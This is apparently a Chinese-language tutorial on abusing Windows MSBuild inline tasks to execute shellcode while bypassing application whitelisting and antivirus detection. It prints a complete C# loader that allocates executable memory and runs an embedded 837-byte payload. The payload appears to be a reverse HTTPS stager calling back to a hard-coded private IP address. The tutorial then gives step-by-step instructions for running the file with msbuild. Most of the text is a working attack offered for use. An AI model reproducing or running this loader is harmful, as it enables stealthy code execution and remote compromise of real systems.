实现效果
原理
Use MSBuild To Do More
可以简单的理解为，windows下的msbuild命令可以执行内容为特定格式的文件。在.NET Framework 4.0中支持了一项新功能”Inline Tasks”，被包含在元素UsingTask中，可用来在xml文件中执行c#代码。
用途
因为这种方式不限制文件的后缀名，只要内容格式符合要求即可。所以可以几乎所有绕过白名单检测来执行shellcode,可在一定程度上达到免杀效果。
文件参考
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes shellcode. -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
<!-- Save This File And Execute The Above Command -->
<!-- Author: Casey Smith, Twitter: @subTee -->
<!-- License: BSD 3-Clause -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
public override bool Execute()
{
byte[] shellcode = new byte[837] { 0xfc, 0xe8, 0x89, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xd2, 0x64, 0x8b, 0x52, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf0, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x42, 0x3c, 0x01, 0xd0, 0x8b, 0x40, 0x78, 0x85, 0xc0, 0x74, 0x4a, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x8b, 0x58, 0x20, 0x01, 0xd3, 0xe3, 0x3c, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0x31, 0xc0, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf4, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe2, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x58, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x86, 0x5d, 0x68, 0x6e, 0x65, 0x74, 0x00, 0x68, 0x77, 0x69, 0x6e, 0x69, 0x54, 0x68, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x31, 0xff, 0x57, 0x57, 0x57, 0x57, 0x57, 0x68, 0x3a, 0x56, 0x79, 0xa7, 0xff, 0xd5, 0xe9, 0xa4, 0x00, 0x00, 0x00, 0x5b, 0x31, 0xc9, 0x51, 0x51, 0x6a, 0x03, 0x51, 0x51, 0x68, 0xbb, 0x01, 0x00, 0x00, 0x53, 0x50, 0x68, 0x57, 0x89, 0x9f, 0xc6, 0xff, 0xd5, 0x50, 0xe9, 0x8c, 0x00, 0x00, 0x00, 0x5b, 0x31, 0xd2, 0x52, 0x68, 0x00, 0x32, 0xc0, 0x84, 0x52, 0x52, 0x52, 0x53, 0x52, 0x50, 0x68, 0xeb, 0x55, 0x2e, 0x3b, 0xff, 0xd5, 0x89, 0xc6, 0x83, 0xc3, 0x50, 0x68, 0x80, 0x33, 0x00, 0x00, 0x89, 0xe0, 0x6a, 0x04, 0x50, 0x6a, 0x1f, 0x56, 0x68, 0x75, 0x46, 0x9e, 0x86, 0xff, 0xd5, 0x5f, 0x31, 0xff, 0x57, 0x57, 0x6a, 0xff, 0x53, 0x56, 0x68, 0x2d, 0x06, 0x18, 0x7b, 0xff, 0xd5, 0x85, 0xc0, 0x0f, 0x84, 0xca, 0x01, 0x00, 0x00, 0x31, 0xff, 0x85, 0xf6, 0x74, 0x04, 0x89, 0xf9, 0xeb, 0x09, 0x68, 0xaa, 0xc5, 0xe2, 0x5d, 0xff, 0xd5, 0x89, 0xc1, 0x68, 0x45, 0x21, 0x5e, 0x31, 0xff, 0xd5, 0x31, 0xff, 0x57, 0x6a, 0x07, 0x51, 0x56, 0x50, 0x68, 0xb7, 0x57, 0xe0, 0x0b, 0xff, 0xd5, 0xbf, 0x00, 0x2f, 0x00, 0x00, 0x39, 0xc7, 0x75, 0x07, 0x58, 0x50, 0xe9, 0x7b, 0xff, 0xff, 0xff, 0x31, 0xff, 0xe9, 0x91, 0x01, 0x00, 0x00, 0xe9, 0xc9, 0x01, 0x00, 0x00, 0xe8, 0x6f, 0xff, 0xff, 0xff, 0x2f, 0x53, 0x6b, 0x39, 0x65, 0x00, 0x93, 0xf0, 0x7f, 0xc6, 0x49, 0xc8, 0xa6, 0x78, 0xe7, 0x72, 0x7f, 0x95, 0xd6, 0x5a, 0xaf, 0x0a, 0xe6, 0xbe, 0xa9, 0x32, 0x7a, 0x6a, 0xb8, 0x37, 0x02, 0xc8, 0xa2, 0xea, 0xc6, 0x54, 0x47, 0x96, 0xbe, 0xe5, 0xb4, 0x07, 0x4d, 0x93, 0x72, 0x87, 0x10, 0x86, 0xe1, 0xea, 0x46, 0x62, 0x2d, 0x07, 0xe1, 0x84, 0xec, 0xe2, 0x4b, 0xf9, 0x0e, 0x08, 0x1a, 0xcb, 0x4b, 0x88, 0x42, 0x7d, 0x58, 0x19, 0xb9, 0x43, 0xee, 0x0c, 0x49, 0x5d, 0xf5, 0x4b, 0x5c, 0x00, 0x55, 0x73, 0x65, 0x72, 0x2d, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x3a, 0x20, 0x4d, 0x6f, 0x7a, 0x69, 0x6c, 0x6c, 0x61, 0x2f, 0x35, 0x2e, 0x30, 0x20, 0x28, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x74, 0x69, 0x62, 0x6c, 0x65, 0x3b, 0x20, 0x4d, 0x53, 0x49, 0x45, 0x20, 0x39, 0x2e, 0x30, 0x3b, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x4e, 0x54, 0x20, 0x36, 0x2e, 0x31, 0x3b, 0x20, 0x57, 0x4f, 0x57, 0x36, 0x34, 0x3b, 0x20, 0x54, 0x72, 0x69, 0x64, 0x65, 0x6e, 0x74, 0x2f, 0x35, 0x2e, 0x30, 0x3b, 0x20, 0x41, 0x76, 0x61, 0x6e, 0x74, 0x20, 0x42, 0x72, 0x6f, 0x77, 0x73, 0x65, 0x72, 0x29, 0x0d, 0x0a, 0x00, 0xf4, 0xd2, 0xd8, 0x55, 0xc7, 0x33, 0x93, 0x3c, 0xda, 0x85, 0x1b, 0x7c, 0x41, 0xbf, 0xf5, 0x7c, 0xe5, 0x66, 0xf2, 0x6e, 0x00, 0x71, 0xfe, 0x58, 0x6a, 0xd1, 0x03, 0x3a, 0xb4, 0x88, 0xee, 0xf8, 0xb8, 0xb7, 0x57, 0xf4, 0x33, 0xba, 0x96, 0xfd, 0x90, 0xdd, 0x0f, 0x7f, 0xcf, 0x30, 0x6e, 0x67, 0xe6, 0x31, 0x27, 0x8c, 0xf0, 0xe0, 0x3c, 0xe6, 0xf8, 0x53, 0xad, 0x6d, 0xcf, 0x7d, 0x2a, 0x5d, 0x86, 0x61, 0x4e, 0xe3, 0xae, 0x9e, 0xaf, 0x41, 0xbd, 0x01, 0x32, 0xdd, 0x9e, 0x71, 0x4d, 0xfe, 0x57, 0xfc, 0x0a, 0x40, 0x73, 0x46, 0x4b, 0xb5, 0x02, 0x0f, 0x39, 0xe4, 0xdb, 0x81, 0x09, 0xb4, 0x6a, 0xd7, 0x96, 0x0c, 0x03, 0x4b, 0x0b, 0xe8, 0x5e, 0xd4, 0xa8, 0x31, 0x44, 0x82, 0xaf, 0xf5, 0x8f, 0x24, 0xb6, 0x05, 0x77, 0x4c, 0xb4, 0x05, 0x8b, 0x97, 0x37, 0x93, 0x43, 0x53, 0xea, 0xea, 0x11, 0xcf, 0xda, 0x43, 0xdc, 0x34, 0x1c, 0xa0, 0x2c, 0x27, 0x0b, 0x60, 0xfa, 0x15, 0x63, 0xa8, 0x1f, 0x8f, 0xd2, 0x71, 0xef, 0x55, 0x04, 0xd3, 0x60, 0x00, 0xbf, 0x1f, 0xd8, 0xb7, 0xb5, 0x86, 0x31, 0x32, 0x98, 0x2f, 0xdc, 0x5a, 0xdf, 0x08, 0x48, 0x85, 0x9e, 0x80, 0x39, 0x74, 0x30, 0x09, 0x81, 0x07, 0x57, 0x39, 0x6b, 0x9c, 0xbe, 0x15, 0xdf, 0x4b, 0x0b, 0xe3, 0xf3, 0xb0, 0x05, 0xab, 0xbd, 0xc1, 0xfe, 0x02, 0x97, 0x14, 0xd4, 0xfd, 0x8e, 0xc8, 0xb9, 0x00, 0x68, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x6a, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x68, 0x00, 0x00, 0x40, 0x00, 0x57, 0x68, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x93, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x01, 0xd9, 0x51, 0x53, 0x89, 0xe7, 0x57, 0x68, 0x00, 0x20, 0x00, 0x00, 0x53, 0x56, 0x68, 0x12, 0x96, 0x89, 0xe2, 0xff, 0xd5, 0x85, 0xc0, 0x74, 0xc6, 0x8b, 0x07, 0x01, 0xc3, 0x85, 0xc0, 0x75, 0xe5, 0x58, 0xc3, 0xe8, 0x89, 0xfd, 0xff, 0xff, 0x31, 0x39, 0x32, 0x2e, 0x31, 0x36, 0x38, 0x2e, 0x31, 0x32, 0x34, 0x2e, 0x31, 0x33, 0x38, 0x00, 0x12, 0x34, 0x56, 0x78 };
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
其他
使用msbuild命令必须在指定的文件夹下，版本必须得是4.0。
下图的两个文件夹区别就是你的shellcode是64位的话就选择Framework64，反之亦然。
选择4.0版本进入文件夹。
在这个文件夹中就可以执行msbuild命令了。
命令格式为 msbuild file_path